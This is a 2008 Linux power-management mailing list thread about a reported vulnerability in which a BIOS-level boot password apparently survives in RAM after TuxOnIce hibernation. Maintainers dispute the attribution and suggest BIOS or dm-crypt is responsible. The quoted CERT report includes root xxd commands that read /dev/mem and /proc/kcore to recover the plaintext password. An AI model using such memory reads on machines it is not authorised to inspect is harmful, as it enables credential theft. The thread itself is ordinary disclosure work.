* Re: Vulnerability in Software Suspend 2 (all versions) [not found] ` <488D8449.2010006@iviztechnosolutions.com> @ 2008-07-28 8:48 ` Nigel Cunningham 2008-07-28 8:50 ` Jonathan Brossard 0 siblings, 1 reply; 11+ messages in thread From: Nigel Cunningham @ 2008-07-28 8:48 UTC (permalink / raw) To: Jonathan Brossard Cc: ncunningham, chabaud, bernardb, seasons, techteam, CERT(R) Coordination Center, mhfl, linux-pm, Jonathan Brossard Hi. This is not a bug in TuxOnIce (or for that matter other Linux hibernation implementations, which would have the same issue). TuxOnIce has no way to know what running applications have passwords stored in memory or whether they are storing them in an encrypted format or not. Bugs should be filed against applications that are storing passwords in plain text. By the way, these contact email addresses are grossly out of date. For TuxOnIce, the contact is nigel@tuxonice.net. For swsusp and uswsusp (which would have the same problem), refer to linux-pm@lists.osdl.org. Regards, Nigel On Mon, 2008-07-28 at 14:03 +0530, Jonathan Brossard wrote: > > Version 1.0 > October 1996 > CERT(R) Coordination Center > Product Vulnerability Reporting Form > > If you know of a vulnerability in a product, please complete > this form and return it to cert@cert.org. We aren't able to > acknowledge each report we receive; however, if we have additional > questions, we will contact you for further information. > > We prefer that any vulnerability information you > send to us be encrypted. We can support a shared DES > key or PGP. Contact the CERT staff for more information. > The CERT PGP public key is available in > > http://www.cert.org/pgp/cert_pgp_key.asc > > Thanks, we appreciate your taking the time to report this > vulnerability. > > > > > CONTACT INFORMATION > =============================================================================== > Let us know who you are: > > Name : Jonathan Brossard > E-mail : jonathan@ivizindia.com > Phone / fax : +91-33-23242212 > Affiliation and address: iViZ Technosolutions Pvt. Ltd., Kolkata, > India. http://www.ivizindia.com > > > Have you reported this to the vendor? [yes] > > If so, please let us know whom you've contacted: > > Date of your report : Mon Jul 28 13:57:44 IST 2008 > Vendor contact name : > Vendor contact phone : > Vendor contact e-mail : bernardb@users.sourceforge.net > chabaud@users.sourceforge.net ncunningham@users.sourceforge.net > Vendor reference number : > > > If not, we encourage you to do so--vendors need to hear about > vulnerabilities from you as a customer. > > > POLICY INFO > =============================================================================== > We encourage communication between vendors and their customers. When > we forward a report to the vendor, we include the reporter's name and > contact information unless you let us know otherwise. > > If you want this report to remain anonymous, please check here: > > ___ Do not release my identity to your vendor contact. > > > TECHNICAL INFO > =============================================================================== > If there is a CERT Vulnerability tracking number please put it > here (otherwise leave blank): VU#______. > > > Please describe the vulnerability. > - ---------------------------------- > > The Linux kernel patch "Tux on ice" (previously called "software suspend 2") > fails to sanitize the memory area where user input, > in particular passwords are read. Therefore, the passwords remain in > plain text in RAM, after successfull restauration of the hibernated > machine's > state. > > > What is the impact of this vulnerability? > - ----------------------------------------- > (For example: local user can gain root/privileged access, intruders > can create root-owned files, denial of service attack, etc.) > > a) What is the specific impact: > > Plain text password disclosure of the authentication password. > > b) How would you envision it being used in an attack scenario: > > The attacker can use this password to reboot the computer, possibly > to gain more privileges. > > To your knowledge is the vulnerability currently being exploited? > - ----------------------------------------------------------------- > [no] > > If there is an exploitation script available, please include it here. > - --------------------------------------------------------------------- > > Just pick up one (trivial) exploit below : > > root@blackbox:~# xxd -l 32 -s 0x041e /dev/mem > 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x41e /dev/oldmem > 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x041e /dev/.static/dev/mem > 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x141e /proc/kcore > 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x141e /dev/core > 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# xxd -l 32 -s 0x141e /dev/.static/dev/core > 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d > 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ > root@blackbox:~# > > > > Do you know what systems and/or configurations are vulnerable? > - -------------------------------------------------------------- > [yes/no] (If yes, please list them below) > > All versions. > > > Are you aware of any workarounds and/or fixes for this vulnerability? > - --------------------------------------------------------------------- > [yes] > > I provided a kernel patch to the owners of the project. > > OTHER INFORMATION > =========================================================================== > Is there anything else you would like to tell us? > > You can indeed get back to us if you need more details :) > > > - -------- > CERT and CERT Coordination Center are registered in the U.S. Patent and > Trademark office. > ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: Vulnerability in Software Suspend 2 (all versions) 2008-07-28 8:48 ` Vulnerability in Software Suspend 2 (all versions) Nigel Cunningham @ 2008-07-28 8:50 ` Jonathan Brossard 2008-07-28 8:58 ` Nigel Cunningham 0 siblings, 1 reply; 11+ messages in thread From: Jonathan Brossard @ 2008-07-28 8:50 UTC (permalink / raw) To: Nigel Cunningham Cc: ncunningham, chabaud, bernardb, seasons, techteam, CERT(R) Coordination Center, mhfl, linux-pm, Jonathan Brossard Dear Nigel, >This is not a bug in TuxOnIce (or for that matter other Linux >hibernation implementations, which would have the same issue). Yes it is. >TuxOnIce has no way to know what running applications have passwords >stored in memory or whether they are storing them in an encrypted format >or not. Bugs should be filed against applications that are storing >passwords in plain text. We are talking about the password of tuxonice itself here... Please boot a computer using tuxonice, go for hibernation, reboot, and then type this (as root) : xxd -l 32 -s 0x041e /dev/mem >By the way, these contact email addresses are grossly out of date. For >TuxOnIce, the contact is nigel@tuxonice.net. For swsusp and uswsusp >(which would have the same problem), refer to linux-pm@lists.osdl.org. I did my best to find one on the site's website and ended up taking those of sourceforge. Best regards, Jonathan- Nigel Cunningham wrote: > Hi. > > This is not a bug in TuxOnIce (or for that matter other Linux > hibernation implementations, which would have the same issue). > > TuxOnIce has no way to know what running applications have passwords > stored in memory or whether they are storing them in an encrypted format > or not. Bugs should be filed against applications that are storing > passwords in plain text. > > By the way, these contact email addresses are grossly out of date. For > TuxOnIce, the contact is nigel@tuxonice.net. For swsusp and uswsusp > (which would have the same problem), refer to linux-pm@lists.osdl.org. > > Regards, > > Nigel > > On Mon, 2008-07-28 at 14:03 +0530, Jonathan Brossard wrote: > >> Version 1.0 >> October 1996 >> CERT(R) Coordination Center >> Product Vulnerability Reporting Form >> >> If you know of a vulnerability in a product, please complete >> this form and return it to cert@cert.org. We aren't able to >> acknowledge each report we receive; however, if we have additional >> questions, we will contact you for further information. >> >> We prefer that any vulnerability information you >> send to us be encrypted. We can support a shared DES >> key or PGP. Contact the CERT staff for more information. >> The CERT PGP public key is available in >> >> http://www.cert.org/pgp/cert_pgp_key.asc >> >> Thanks, we appreciate your taking the time to report this >> vulnerability. >> >> >> >> >> CONTACT INFORMATION >> =============================================================================== >> Let us know who you are: >> >> Name : Jonathan Brossard >> E-mail : jonathan@ivizindia.com >> Phone / fax : +91-33-23242212 >> Affiliation and address: iViZ Technosolutions Pvt. Ltd., Kolkata, >> India. http://www.ivizindia.com >> >> >> Have you reported this to the vendor? [yes] >> >> If so, please let us know whom you've contacted: >> >> Date of your report : Mon Jul 28 13:57:44 IST 2008 >> Vendor contact name : >> Vendor contact phone : >> Vendor contact e-mail : bernardb@users.sourceforge.net >> chabaud@users.sourceforge.net ncunningham@users.sourceforge.net >> Vendor reference number : >> >> >> If not, we encourage you to do so--vendors need to hear about >> vulnerabilities from you as a customer. >> >> >> POLICY INFO >> =============================================================================== >> We encourage communication between vendors and their customers. When >> we forward a report to the vendor, we include the reporter's name and >> contact information unless you let us know otherwise. >> >> If you want this report to remain anonymous, please check here: >> >> ___ Do not release my identity to your vendor contact. >> >> >> TECHNICAL INFO >> =============================================================================== >> If there is a CERT Vulnerability tracking number please put it >> here (otherwise leave blank): VU#______. >> >> >> Please describe the vulnerability. >> - ---------------------------------- >> >> The Linux kernel patch "Tux on ice" (previously called "software suspend 2") >> fails to sanitize the memory area where user input, >> in particular passwords are read. Therefore, the passwords remain in >> plain text in RAM, after successfull restauration of the hibernated >> machine's >> state. >> >> >> What is the impact of this vulnerability? >> - ----------------------------------------- >> (For example: local user can gain root/privileged access, intruders >> can create root-owned files, denial of service attack, etc.) >> >> a) What is the specific impact: >> >> Plain text password disclosure of the authentication password. >> >> b) How would you envision it being used in an attack scenario: >> >> The attacker can use this password to reboot the computer, possibly >> to gain more privileges. >> >> To your knowledge is the vulnerability currently being exploited? >> - ----------------------------------------------------------------- >> [no] >> >> If there is an exploitation script available, please include it here. >> - --------------------------------------------------------------------- >> >> Just pick up one (trivial) exploit below : >> >> root@blackbox:~# xxd -l 32 -s 0x041e /dev/mem >> 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x41e /dev/oldmem >> 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x041e /dev/.static/dev/mem >> 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x141e /proc/kcore >> 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x141e /dev/core >> 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# xxd -l 32 -s 0x141e /dev/.static/dev/core >> 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d >> 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................ >> root@blackbox:~# >> >> >> >> Do you know what systems and/or configurations are vulnerable? >> - -------------------------------------------------------------- >> [yes/no] (If yes, please list them below) >> >> All versions. >> >> >> Are you aware of any workarounds and/or fixes for this vulnerability? >> - --------------------------------------------------------------------- >> [yes] >> >> I provided a kernel patch to the owners of the project. >> >> OTHER INFORMATION >> =========================================================================== >> Is there anything else you would like to tell us? >> >> You can indeed get back to us if you need more details :) >> >> >> - -------- >> CERT and CERT Coordination Center are registered in the U.S. Patent and >> Trademark office. >> >> > > > -- Jonathan Brossard Security Research Engineer iViZ Techno Solutions Pvt. Ltd. Mobile: +91-9748772994 Kolkata: iViZ Technolgy Solutions(P) Ltd c/o Erevmax Technologies (P) Ltd DLF IT Park, Tower-1, 12th Floor 08 Major Arterial Road New Town, Rajarhat Kolkata- 700 156 Kharagpur: iViZ Techno Solutions Pvt Ltd, School of Information Technology, Indian Institute of Technology, 2nd Floor, Takshashila, Kharagpur 721302 West Bengal, India. Phone: +91-3222-282300 ext 4324 Web page: http://www.ivizindia.com ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: Vulnerability in Software Suspend 2 (all versions) 2008-07-28 8:50 ` Jonathan Brossard @ 2008-07-28 8:58 ` Nigel Cunningham 2008-07-28 8:59 ` Jonathan Brossard 0 siblings, 1 reply; 11+ messages in thread From: Nigel Cunningham @ 2008-07-28 8:58 UTC (permalink / raw) To: Jonathan Brossard Cc: ncunningham, chabaud, bernardb, seasons, techteam, CERT(R) Coordination Center, mhfl, linux-pm, Jonathan Brossard Hi again. On Mon, 2008-07-28 at 14:20 +0530, Jonathan Brossard wrote: > Dear Nigel, > > >This is not a bug in TuxOnIce (or for that matter other Linux > >hibernation implementations, which would have the same issue). > > Yes it is. > > >TuxOnIce has no way to know what running applications have passwords > >stored in memory or whether they are storing them in an encrypted format > >or not. Bugs should be filed against applications that are storing > >passwords in plain text. > > We are talking about the password of tuxonice itself here... TuxOnIce itself doesn't have any password support. Do you mean a password for encrypted swap or such like? > Please boot a computer using tuxonice, go for hibernation, > reboot, and then type this (as root) : > > xxd -l 32 -s 0x041e /dev/mem > > > >By the way, these contact email addresses are grossly out of date. For > >TuxOnIce, the contact is nigel@tuxonice.net. For swsusp and uswsusp > >(which would have the same problem), refer to linux-pm@lists.osdl.org. > > I did my best to find one on the site's website and ended up > taking those of sourceforge. Hmm, you're right there. I'll address that shortly. Regards, Nigel ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: Vulnerability in Software Suspend 2 (all versions) 2008-07-28 8:58 ` Nigel Cunningham @ 2008-07-28 8:59 ` Jonathan Brossard 2008-08-09 13:49 ` florent.chabaud 0 siblings, 1 reply; 11+ messages in thread From: Jonathan Brossard @ 2008-07-28 8:59 UTC (permalink / raw) To: Nigel Cunningham Cc: ncunningham, chabaud, bernardb, seasons, techteam, CERT(R) Coordination Center, mhfl, linux-pm, Jonathan Brossard Dear Nigel, Feel free to put me in my place if I am wrong here : When you try to boot a tuxonice capable computer and restore the state of the computer using a hibernation file... you are asked for a password, which is not the standard userland login prompt (for a imple reason : there is no kernel in memory at that time). That password is part of tux on ice, right ? Well, that password can be retreived from RAM ! Best regards, Jonathan- Nigel Cunningham wrote: > Hi again. > > On Mon, 2008-07-28 at 14:20 +0530, Jonathan Brossard wrote: > >> Dear Nigel, >> >> >>> This is not a bug in TuxOnIce (or for that matter other Linux >>> hibernation implementations, which would have the same issue). >>> >> Yes it is. >> >> >>> TuxOnIce has no way to know what running applications have passwords >>> stored in memory or whether they are storing them in an encrypted format >>> or not. Bugs should be filed against applications that are storing >>> passwords in plain text. >>> >> We are talking about the password of tuxonice itself here... >> > > TuxOnIce itself doesn't have any password support. Do you mean a > password for encrypted swap or such like? > > >> Please boot a computer using tuxonice, go for hibernation, >> reboot, and then type this (as root) : >> >> xxd -l 32 -s 0x041e /dev/mem >> >> >> >>> By the way, these contact email addresses are grossly out of date. For >>> TuxOnIce, the contact is nigel@tuxonice.net. For swsusp and uswsusp >>> (which would have the same problem), refer to linux-pm@lists.osdl.org. >>> >> I did my best to find one on the site's website and ended up >> taking those of sourceforge. >> > > Hmm, you're right there. I'll address that shortly. > > Regards, > > Nigel > > > -- Jonathan Brossard Security Research Engineer iViZ Techno Solutions Pvt. Ltd. Mobile: +91-9748772994 Kolkata: iViZ Technolgy Solutions(P) Ltd c/o Erevmax Technologies (P) Ltd DLF IT Park, Tower-1, 12th Floor 08 Major Arterial Road New Town, Rajarhat Kolkata- 700 156 Kharagpur: iViZ Techno Solutions Pvt Ltd, School of Information Technology, Indian Institute of Technology, 2nd Floor, Takshashila, Kharagpur 721302 West Bengal, India. Phone: +91-3222-282300 ext 4324 Web page: http://www.ivizindia.com ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: Vulnerability in Software Suspend 2 (all versions) 2008-07-28 8:59 ` Jonathan Brossard @ 2008-08-09 13:49 ` florent.chabaud 2008-08-09 23:53 ` Jonathan Brossard 2008-08-18 7:01 ` Jonathan Brossard 0 siblings, 2 replies; 11+ messages in thread From: florent.chabaud @ 2008-08-09 13:49 UTC (permalink / raw) To: Jonathan Brossard Cc: ncunningham, Nigel Cunningham, chabaud, bernardb, seasons, techteam, CERT(R) Coordination Center, mhfl, linux-pm, Jonathan Brossard Dear Jonathan, Sorry for intervening so lately, but Nigel is right : those adresses are really out of date ;-) Le 28 jui, Jonathan Brossard a écrit : > Dear Nigel, > > Feel free to put me in my place if I am wrong here : > > When you try to boot a tuxonice capable computer and > restore the state of the computer using a hibernation file... > > you are asked for a password, which is not the standard userland > login prompt (for a imple reason : there is no kernel in memory at that > time). > That password is part of tux on ice, right ? AFAIK this is not part of swsusp nor tuxonice. I'm still using swsusp, although not contributing any more, and I don't have any password to type in my configuration. xxd -l 32 -s 0x041e /dev/mem 000041e: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000042e: 0000 0000 0000 0000 0000 0000 0000 0000 ................ > > Well, that password can be retreived from RAM ! Password retrieved from RAM is a well known issue :) From your description, you seem to say that the kernel is not running at the time you seize the password. This indicates for sure that tuxonice is not involved, since it is part of kernel. The way tuxonice works is launching the kernel as usual and interrupt normal boot as soon as possible if a frozen image is detected. What you may have in your case is either a hardware password, managed by the BIOS, or a password used to encrypt swap (and swsusp image) as described in swsusp-dmcrypt.txt. Now, I agree with Nigel that this is not part of swsusp, but it may be a bug in the configuration of dmcrypt. You should also note that from a security point of view, the security model is not at all circumvented. You need to have a root access to /dev/mem from a resumed session, to obtain the password, and even if the password was erased (which should be done anyway, it's a good practice) you still have the ciphering key of the swap somewhere in memory. Anyway, thank you for the report. Please feel free to exchange more information in order to identify more precisely the problem, and specially the configuration you use. Sincerely yours, Florent Chabaud > > Best regards, > > Jonathan- > > Nigel Cunningham wrote: >> Hi again. >> >> On Mon, 2008-07-28 at 14:20 +0530, Jonathan Brossard wrote: >> >>> Dear Nigel, >>> >>> >>>> This is not a bug in TuxOnIce (or for that matter other Linux >>>> hibernation implementations, which would have the same issue). >>>> >>> Yes it is. >>> >>> >>>> TuxOnIce has no way to know what running applications have passwords >>>> stored in memory or whether they are storing them in an encrypted format >>>> or not. Bugs should be filed against applications that are storing >>>> passwords in plain text. >>>> >>> We are talking about the password of tuxonice itself here... >>> >> >> TuxOnIce itself doesn't have any password support. Do you mean a >> password for encrypted swap or such like? >> >> >>> Please boot a computer using tuxonice, go for hibernation, >>> reboot, and then type this (as root) : >>> >>> xxd -l 32 -s 0x041e /dev/mem >>> >>> >>> >>>> By the way, these contact email addresses are grossly out of date. For >>>> TuxOnIce, the contact is nigel@tuxonice.net. For swsusp and uswsusp >>>> (which would have the same problem), refer to linux-pm@lists.osdl.org. >>>> >>> I did my best to find one on the site's website and ended up >>> taking those of sourceforge. >>> >> >> Hmm, you're right there. I'll address that shortly. >> >> Regards, >> >> Nigel >> >> >> > > > -- > Jonathan Brossard > Security Research Engineer > iViZ Techno Solutions Pvt. Ltd. > Mobile: +91-9748772994 > > Kolkata: > iViZ Technolgy Solutions(P) Ltd > c/o Erevmax Technologies (P) Ltd > DLF IT Park, > Tower-1, 12th Floor > 08 Major Arterial Road > New Town, Rajarhat > Kolkata- 700 156 > > Kharagpur: > iViZ Techno Solutions Pvt Ltd, > School of Information Technology, > Indian Institute of Technology, > 2nd Floor, Takshashila, > Kharagpur 721302 West Bengal, India. > Phone: +91-3222-282300 ext 4324 > > Web page: http://www.ivizindia.com > Florent Chabaud gpg: 28C9 9E1A 5507 5574 EDE6 2E8F 2B37 D83F 95C8 1C3C http://www.carva.org/florent.chabaud | florent.chabaud@m4x.org ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: Vulnerability in Software Suspend 2 (all versions) 2008-08-09 13:49 ` florent.chabaud @ 2008-08-09 23:53 ` Jonathan Brossard 2008-08-18 7:01 ` Jonathan Brossard 1 sibling, 0 replies; 11+ messages in thread From: Jonathan Brossard @ 2008-08-09 23:53 UTC (permalink / raw) To: florent.chabaud, ncunningham Cc: ncunningham, chabaud, bernardb, seasons, techteam, CERT(R) Coordination Center, mhfl, linux-pm, Jonathan Brossard [-- Attachment #1.1: Type: text/plain, Size: 6115 bytes --] Dear Florent and Nigel, I agree the problem lies in the dmcrypt module, but I couldn't replicate the bug on the latest kernels (I know 2.6.16 was vulnerable, so something must have been patched in the meantime). I am in Defcon right now and will try to verify those assumptions sometime next week. The problem might be known or whatever, but most disk encryption software are affected. I had lunch with the Bitlocker team from Microsoft today itself, and they find the bug amazing... so maybe you'd like to have a look at my paper sometime (I can leak it to you if you want, or just ask Nigel). Regarding the addresses, you might want to update the sourceforge page, this is the first place where ppl look for project mainteners... Thanks for your reply, Best regards, Jonathan- On Sat, Aug 9, 2008 at 7:19 PM, <florent.chabaud@m4x.org> wrote: > Dear Jonathan, > > Sorry for intervening so lately, but Nigel is right : those adresses are > really out of date ;-) > > Le 28 jui, Jonathan Brossard a écrit : > > Dear Nigel, > > > > Feel free to put me in my place if I am wrong here : > > > > When you try to boot a tuxonice capable computer and > > restore the state of the computer using a hibernation file... > > > > you are asked for a password, which is not the standard userland > > login prompt (for a imple reason : there is no kernel in memory at that > > time). > > That password is part of tux on ice, right ? > > AFAIK this is not part of swsusp nor tuxonice. I'm still using swsusp, > although not contributing any more, and I don't have any password to > type in my configuration. > > xxd -l 32 -s 0x041e /dev/mem > 000041e: 0000 0000 0000 0000 0000 0000 0000 0000 ................ > 000042e: 0000 0000 0000 0000 0000 0000 0000 0000 ................ > > > > > Well, that password can be retreived from RAM ! > > Password retrieved from RAM is a well known issue :) From your > description, you seem to say that the kernel is not running at the time > you seize the password. This indicates for sure that tuxonice is not > involved, since it is part of kernel. The way tuxonice works is > launching the kernel as usual and interrupt normal boot as soon as > possible if a frozen image is detected. > > What you may have in your case is either a hardware password, managed by > the BIOS, or a password used to encrypt swap (and swsusp image) as > described in swsusp-dmcrypt.txt. Now, I agree with Nigel that this is > not part of swsusp, but it may be a bug in the configuration of dmcrypt. > > You should also note that from a security point of view, the security > model is not at all circumvented. You need to have a root access to > /dev/mem from a resumed session, to obtain the password, and even if the > password was erased (which should be done anyway, it's a good practice) > you still have the ciphering key of the swap somewhere in memory. > > Anyway, thank you for the report. Please feel free to exchange more > information in order to identify more precisely the problem, and > specially the configuration you use. > > Sincerely yours, > > Florent Chabaud > > > > > Best regards, > > > > Jonathan- > > > > Nigel Cunningham wrote: > >> Hi again. > >> > >> On Mon, 2008-07-28 at 14:20 +0530, Jonathan Brossard wrote: > >> > >>> Dear Nigel, > >>> > >>> > >>>> This is not a bug in TuxOnIce (or for that matter other Linux > >>>> hibernation implementations, which would have the same issue). > >>>> > >>> Yes it is. > >>> > >>> > >>>> TuxOnIce has no way to know what running applications have passwords > >>>> stored in memory or whether they are storing them in an encrypted > format > >>>> or not. Bugs should be filed against applications that are storing > >>>> passwords in plain text. > >>>> > >>> We are talking about the password of tuxonice itself here... > >>> > >> > >> TuxOnIce itself doesn't have any password support. Do you mean a > >> password for encrypted swap or such like? > >> > >> > >>> Please boot a computer using tuxonice, go for hibernation, > >>> reboot, and then type this (as root) : > >>> > >>> xxd -l 32 -s 0x041e /dev/mem > >>> > >>> > >>> > >>>> By the way, these contact email addresses are grossly out of date. For > >>>> TuxOnIce, the contact is nigel@tuxonice.net. For swsusp and uswsusp > >>>> (which would have the same problem), refer to linux-pm@lists.osdl.org > . > >>>> > >>> I did my best to find one on the site's website and ended up > >>> taking those of sourceforge. > >>> > >> > >> Hmm, you're right there. I'll address that shortly. > >> > >> Regards, > >> > >> Nigel > >> > >> > >> > > > > > > -- > > Jonathan Brossard > > Security Research Engineer > > iViZ Techno Solutions Pvt. Ltd. > > Mobile: +91-9748772994 > > > > Kolkata: > > iViZ Technolgy Solutions(P) Ltd > > c/o Erevmax Technologies (P) Ltd > > DLF IT Park, > > Tower-1, 12th Floor > > 08 Major Arterial Road > > New Town, Rajarhat > > Kolkata- 700 156 > > > > Kharagpur: > > iViZ Techno Solutions Pvt Ltd, > > School of Information Technology, > > Indian Institute of Technology, > > 2nd Floor, Takshashila, > > Kharagpur 721302 West Bengal, India. > > Phone: +91-3222-282300 ext 4324 > > > > Web page: http://www.ivizindia.com > > > > > Florent Chabaud > gpg: 28C9 9E1A 5507 5574 EDE6 2E8F 2B37 D83F 95C8 1C3C > http://www.carva.org/florent.chabaud | florent.chabaud@m4x.org > -- Jonathan Brossard Security Research Engineer iViZ Techno Solutions Pvt. Ltd. Mobile: +91-9748772994 Kolkata: iViZ Technolgy Solutions(P) Ltd c/o Erevmax Technologies (P) Ltd DLF IT Park, Tower-1, 12th Floor 08 Major Arterial Road New Town, Rajarhat Kolkata- 700 156 Kharagpur: iViZ Techno Solutions Pvt Ltd, School of Information Technology, Indian Institute of Technology, 2nd Floor, Takshashila, Kharagpur 721302 West Bengal, India. Phone: +91-3222-282300 ext 4324 Web page: http://www.ivizindia.com [-- Attachment #1.2: Type: text/html, Size: 8023 bytes --] [-- Attachment #2: Type: text/plain, Size: 0 bytes --] ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: Vulnerability in Software Suspend 2 (all versions) 2008-08-09 13:49 ` florent.chabaud 2008-08-09 23:53 ` Jonathan Brossard @ 2008-08-18 7:01 ` Jonathan Brossard 1 sibling, 0 replies; 11+ messages in thread From: Jonathan Brossard @ 2008-08-18 7:01 UTC (permalink / raw) To: florent.chabaud Cc: ncunningham, Nigel Cunningham, chabaud, bernardb, seasons, techteam, CERT(R) Coordination Center, mhfl, linux-pm, Jonathan Brossard [-- Attachment #1: Type: text/plain, Size: 6124 bytes --] >Password retrieved from RAM is a well known issue :) No, it is a Bios problem, and most manufacturers are vulnerable, so it is definitly not a "well known issue". We are not talking about a typical userland application using a weak primitive like getpassword() here, but of a misusage of the BIOS Api. (cf attached whitepaper for information). Anyway, I agree the problem doesnt lie in your software but in the swap encryption like Nigel mentioned. If you could help me track which versions of the kernel using dm-crypt were vulnerable, that would help me a lot. Regards, Jonathan- florent.chabaud@m4x.org wrote: > Dear Jonathan, > > Sorry for intervening so lately, but Nigel is right : those adresses are > really out of date ;-) > > Le 28 jui, Jonathan Brossard a écrit : > >> Dear Nigel, >> >> Feel free to put me in my place if I am wrong here : >> >> When you try to boot a tuxonice capable computer and >> restore the state of the computer using a hibernation file... >> >> you are asked for a password, which is not the standard userland >> login prompt (for a imple reason : there is no kernel in memory at that >> time). >> That password is part of tux on ice, right ? >> > > AFAIK this is not part of swsusp nor tuxonice. I'm still using swsusp, > although not contributing any more, and I don't have any password to > type in my configuration. > > xxd -l 32 -s 0x041e /dev/mem > 000041e: 0000 0000 0000 0000 0000 0000 0000 0000 ................ > 000042e: 0000 0000 0000 0000 0000 0000 0000 0000 ................ > > >> Well, that password can be retreived from RAM ! >> > > Password retrieved from RAM is a well known issue :) From your > description, you seem to say that the kernel is not running at the time > you seize the password. This indicates for sure that tuxonice is not > involved, since it is part of kernel. The way tuxonice works is > launching the kernel as usual and interrupt normal boot as soon as > possible if a frozen image is detected. > > What you may have in your case is either a hardware password, managed by > the BIOS, or a password used to encrypt swap (and swsusp image) as > described in swsusp-dmcrypt.txt. Now, I agree with Nigel that this is > not part of swsusp, but it may be a bug in the configuration of dmcrypt. > > You should also note that from a security point of view, the security > model is not at all circumvented. You need to have a root access to > /dev/mem from a resumed session, to obtain the password, and even if the > password was erased (which should be done anyway, it's a good practice) > you still have the ciphering key of the swap somewhere in memory. > > Anyway, thank you for the report. Please feel free to exchange more > information in order to identify more precisely the problem, and > specially the configuration you use. > > Sincerely yours, > > Florent Chabaud > > >> Best regards, >> >> Jonathan- >> >> Nigel Cunningham wrote: >> >>> Hi again. >>> >>> On Mon, 2008-07-28 at 14:20 +0530, Jonathan Brossard wrote: >>> >>> >>>> Dear Nigel, >>>> >>>> >>>> >>>>> This is not a bug in TuxOnIce (or for that matter other Linux >>>>> hibernation implementations, which would have the same issue). >>>>> >>>>> >>>> Yes it is. >>>> >>>> >>>> >>>>> TuxOnIce has no way to know what running applications have passwords >>>>> stored in memory or whether they are storing them in an encrypted format >>>>> or not. Bugs should be filed against applications that are storing >>>>> passwords in plain text. >>>>> >>>>> >>>> We are talking about the password of tuxonice itself here... >>>> >>>> >>> TuxOnIce itself doesn't have any password support. Do you mean a >>> password for encrypted swap or such like? >>> >>> >>> >>>> Please boot a computer using tuxonice, go for hibernation, >>>> reboot, and then type this (as root) : >>>> >>>> xxd -l 32 -s 0x041e /dev/mem >>>> >>>> >>>> >>>> >>>>> By the way, these contact email addresses are grossly out of date. For >>>>> TuxOnIce, the contact is nigel@tuxonice.net. For swsusp and uswsusp >>>>> (which would have the same problem), refer to linux-pm@lists.osdl.org. >>>>> >>>>> >>>> I did my best to find one on the site's website and ended up >>>> taking those of sourceforge. >>>> >>>> >>> Hmm, you're right there. I'll address that shortly. >>> >>> Regards, >>> >>> Nigel >>> >>> >>> >>> >> -- >> Jonathan Brossard >> Security Research Engineer >> iViZ Techno Solutions Pvt. Ltd. >> Mobile: +91-9748772994 >> >> Kolkata: >> iViZ Technolgy Solutions(P) Ltd >> c/o Erevmax Technologies (P) Ltd >> DLF IT Park, >> Tower-1, 12th Floor >> 08 Major Arterial Road >> New Town, Rajarhat >> Kolkata- 700 156 >> >> Kharagpur: >> iViZ Techno Solutions Pvt Ltd, >> School of Information Technology, >> Indian Institute of Technology, >> 2nd Floor, Takshashila, >> Kharagpur 721302 West Bengal, India. >> Phone: +91-3222-282300 ext 4324 >> >> Web page: http://www.ivizindia.com >> >> > > > Florent Chabaud > gpg: 28C9 9E1A 5507 5574 EDE6 2E8F 2B37 D83F 95C8 1C3C > http://www.carva.org/florent.chabaud | florent.chabaud@m4x.org > > -- Jonathan Brossard Security Research Engineer iViZ Techno Solutions Pvt. Ltd. Mobile: +91-9748772994 Kolkata: iViZ Technolgy Solutions(P) Ltd c/o Erevmax Technologies (P) Ltd DLF IT Park, Tower-1, 12th Floor 08 Major Arterial Road New Town, Rajarhat Kolkata- 700 156 Kharagpur: iViZ Techno Solutions Pvt Ltd, School of Information Technology, Indian Institute of Technology, 2nd Floor, Takshashila, Kharagpur 721302 West Bengal, India. Phone: +91-3222-282300 ext 4324 Web page: http://www.ivizindia.com [-- Attachment #2: whitepaper.pdf --] [-- Type: application/pdf, Size: 1939749 bytes --] [-- Attachment #3: Type: text/plain, Size: 